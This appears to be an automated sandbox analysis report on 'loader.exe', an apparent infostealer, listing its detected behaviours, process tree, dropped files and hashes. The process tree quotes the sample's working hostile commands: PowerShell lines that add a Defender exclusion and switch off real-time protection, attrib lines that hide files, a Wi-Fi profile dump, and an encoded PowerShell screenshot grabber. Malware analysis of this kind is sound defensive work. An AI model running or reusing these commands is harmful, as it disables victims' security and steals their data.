Resubmissions

06/08/2024, 13:10

240806-qen71azenm 9

06/08/2024, 13:02

240806-p9419szdnq 9

Analysis

  • max time kernel
    13s
  • max time network
    12s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/08/2024, 13:02

General

  • Target

    loader.exe

  • Size

    14.5MB

  • MD5

    1e4234b582d5310d912560b0a01cfbf6

  • SHA1

    43bad577517ec3e2f3c5e58fe371ec1ef9e032c2

  • SHA256

    bc1f9c74c9911cb20481b96bbef84bd6c3b7f8535de2dc61750b516f3e3ec9ce

  • SHA512

    5bb4dc6025317116940926c474684ac512d015cef25df4985b551c74d4b37edafc92421bfedc843a5f185a194a51372f8fa9e667adaa1cfd049661936917be8c

  • SSDEEP

    196608:68awSa50ny7TwBuroK7l2DzYavk/WhThNucXAfO7:6lwFuy7TCDzJ8/KKoD

Malware Config

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\loader.exe
    "C:\Users\Admin\AppData\Local\Temp\loader.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1580
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\loader.exe
      2⤵
      • Views/modifies file attributes
      PID:3924
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1156
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\loader.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4776
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:1704
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2016
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      PID:3620
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4996
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
        PID:2084
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:4772
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:5064
      • C:\Windows\system32\netsh.exe
        netsh wlan show profiles
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:3804
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1508
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1hh5aqbc\1hh5aqbc.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3504
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC5E0.tmp" "c:\Users\Admin\AppData\Local\Temp\1hh5aqbc\CSC13424DD51E7340D3AF213E8ACC436E1B.TMP"
            4⤵
              PID:1688

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

              Filesize

              2KB

              MD5

              d85ba6ff808d9e5444a4b369f5bc2730

              SHA1

              31aa9d96590fff6981b315e0b391b575e4c0804a

              SHA256

              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

              SHA512

              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              6d3e9c29fe44e90aae6ed30ccf799ca8

              SHA1

              c7974ef72264bbdf13a2793ccf1aed11bc565dce

              SHA256

              2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

              SHA512

              60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              e60eb305a7b2d9907488068b7065abd3

              SHA1

              1643dd7f915ac50c75bc01c53d68c5dafb9ce28d

              SHA256

              ad07460e061642c0dd4e7dfa7b821aacce873e290389e72f708e9f3504f9d135

              SHA512

              95c45afec6fa4e0b2a21edd10a6b2dc30568810c67bc9bc34d98ab111c48261f377a370583adb27e08616b0108026c119493b1b093b52ce931117e646b46cb7b

            • C:\Users\Admin\AppData\Local\Temp\1hh5aqbc\1hh5aqbc.dll

              Filesize

              4KB

              MD5

              ed41ebf5423b65c7c2bce055c22c2e63

              SHA1

              019c7e00b7826a1a270c18bc1ee5469db4814a17

              SHA256

              5c8917181b04cd62cda0dcef5f544f10e1c94d1eb32ab210ebef880ed7e8fad7

              SHA512

              caee5ed0a6c6dc1e5eef794be56c6632c660477e14586dd6a743f186d997bc1c7382e45e8af4895bd6238e093c35fc0eb1cf7d1bdef70ca100fe1bd8ee88f525

            • C:\Users\Admin\AppData\Local\Temp\RESC5E0.tmp

              Filesize

              1KB

              MD5

              ca9a9fc4bce759a08b038c22c8a61b9c

              SHA1

              ccff4091cad6ed89c0081d611c0bd8fceda25465

              SHA256

              8056229fe3843487e1d4f6b17ddadaddeadc9508c6f786b85deedde2a7a9ec38

              SHA512

              fafc230f07d1d1d6b49c816dfee16de03b223d02cdd636411ac1e4d6725c6515ff2e455df3222e7a80cf044b13852b80baea0fd2ff841710aece22ed604b40d7

            • C:\Users\Admin\AppData\Local\Temp\XOMDBJTYap\Display (1).png

              Filesize

              416KB

              MD5

              fab16973cb3e1b5ffd7f4ea3e7ae333b

              SHA1

              22df62942dd3e6d8cdb6cac949358cda0d5b1461

              SHA256

              f23cbb2f9663ae0b460b5e3acb85e4e6b61fbe02291df1a42473d0dc8ca313e0

              SHA512

              f52b85e7d06d10171ad59c4a6510f26aeb2d0ebc577ebfb7877ee01eb013f7498ceca210073174a55fbf069353ce8f34febb28af5dba97d5bf34347552eba383

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e13rstda.jym.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

              Filesize

              14.5MB

              MD5

              1e4234b582d5310d912560b0a01cfbf6

              SHA1

              43bad577517ec3e2f3c5e58fe371ec1ef9e032c2

              SHA256

              bc1f9c74c9911cb20481b96bbef84bd6c3b7f8535de2dc61750b516f3e3ec9ce

              SHA512

              5bb4dc6025317116940926c474684ac512d015cef25df4985b551c74d4b37edafc92421bfedc843a5f185a194a51372f8fa9e667adaa1cfd049661936917be8c

            • C:\Windows\System32\drivers\etc\hosts

              Filesize

              2KB

              MD5

              6e2386469072b80f18d5722d07afdc0b

              SHA1

              032d13e364833d7276fcab8a5b2759e79182880f

              SHA256

              ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

              SHA512

              e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

            • \??\c:\Users\Admin\AppData\Local\Temp\1hh5aqbc\1hh5aqbc.0.cs

              Filesize

              1004B

              MD5

              c76055a0388b713a1eabe16130684dc3

              SHA1

              ee11e84cf41d8a43340f7102e17660072906c402

              SHA256

              8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

              SHA512

              22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

            • \??\c:\Users\Admin\AppData\Local\Temp\1hh5aqbc\1hh5aqbc.cmdline

              Filesize

              607B

              MD5

              bb0c3571943663bdec56044271a6b17b

              SHA1

              61ffb52012a265e135175c3e1b4b8c665381cb3a

              SHA256

              71d0b23043a46ad09d64439562acfe821d102ba0a5826230e4511c6d67e06a1a

              SHA512

              56126e8a3497bf8c34e5d61f19d916f10c67dda37c8d8e036034f05e3f7a3c64cdc26aa5d880f7188d5825953df5adb09e3837efc3b7ff0024cb44d150b709b8

            • \??\c:\Users\Admin\AppData\Local\Temp\1hh5aqbc\CSC13424DD51E7340D3AF213E8ACC436E1B.TMP

              Filesize

              652B

              MD5

              1697b989216d95c92ea4f81f81f3b77e

              SHA1

              b9574cc82055abea78ec7f47c02929c23f566916

              SHA256

              7975da17271e47bd2d978afe1625c97aa8240dad9aa1a836f1f6dca2423e6d27

              SHA512

              3e78262e4b4f2b45117e8a6b543eb555afb2188652048175df94ba92f7dc8d0f8763bafabba1d2cb18262cc0f2fdee6f5b57e711d9a831697f125a015161fe2e

            • memory/1508-65-0x0000023A23B10000-0x0000023A23B18000-memory.dmp

              Filesize

              32KB

            • memory/4776-24-0x00007FFBA6220000-0x00007FFBA6CE1000-memory.dmp

              Filesize

              10.8MB

            • memory/4776-23-0x00000297C6E40000-0x00000297C705C000-memory.dmp

              Filesize

              2.1MB

            • memory/4776-0-0x00007FFBA6223000-0x00007FFBA6225000-memory.dmp

              Filesize

              8KB

            • memory/4776-12-0x00007FFBA6220000-0x00007FFBA6CE1000-memory.dmp

              Filesize

              10.8MB

            • memory/4776-11-0x00007FFBA6220000-0x00007FFBA6CE1000-memory.dmp

              Filesize

              10.8MB

            • memory/4776-10-0x00000297ACC20000-0x00000297ACC42000-memory.dmp

              Filesize

              136KB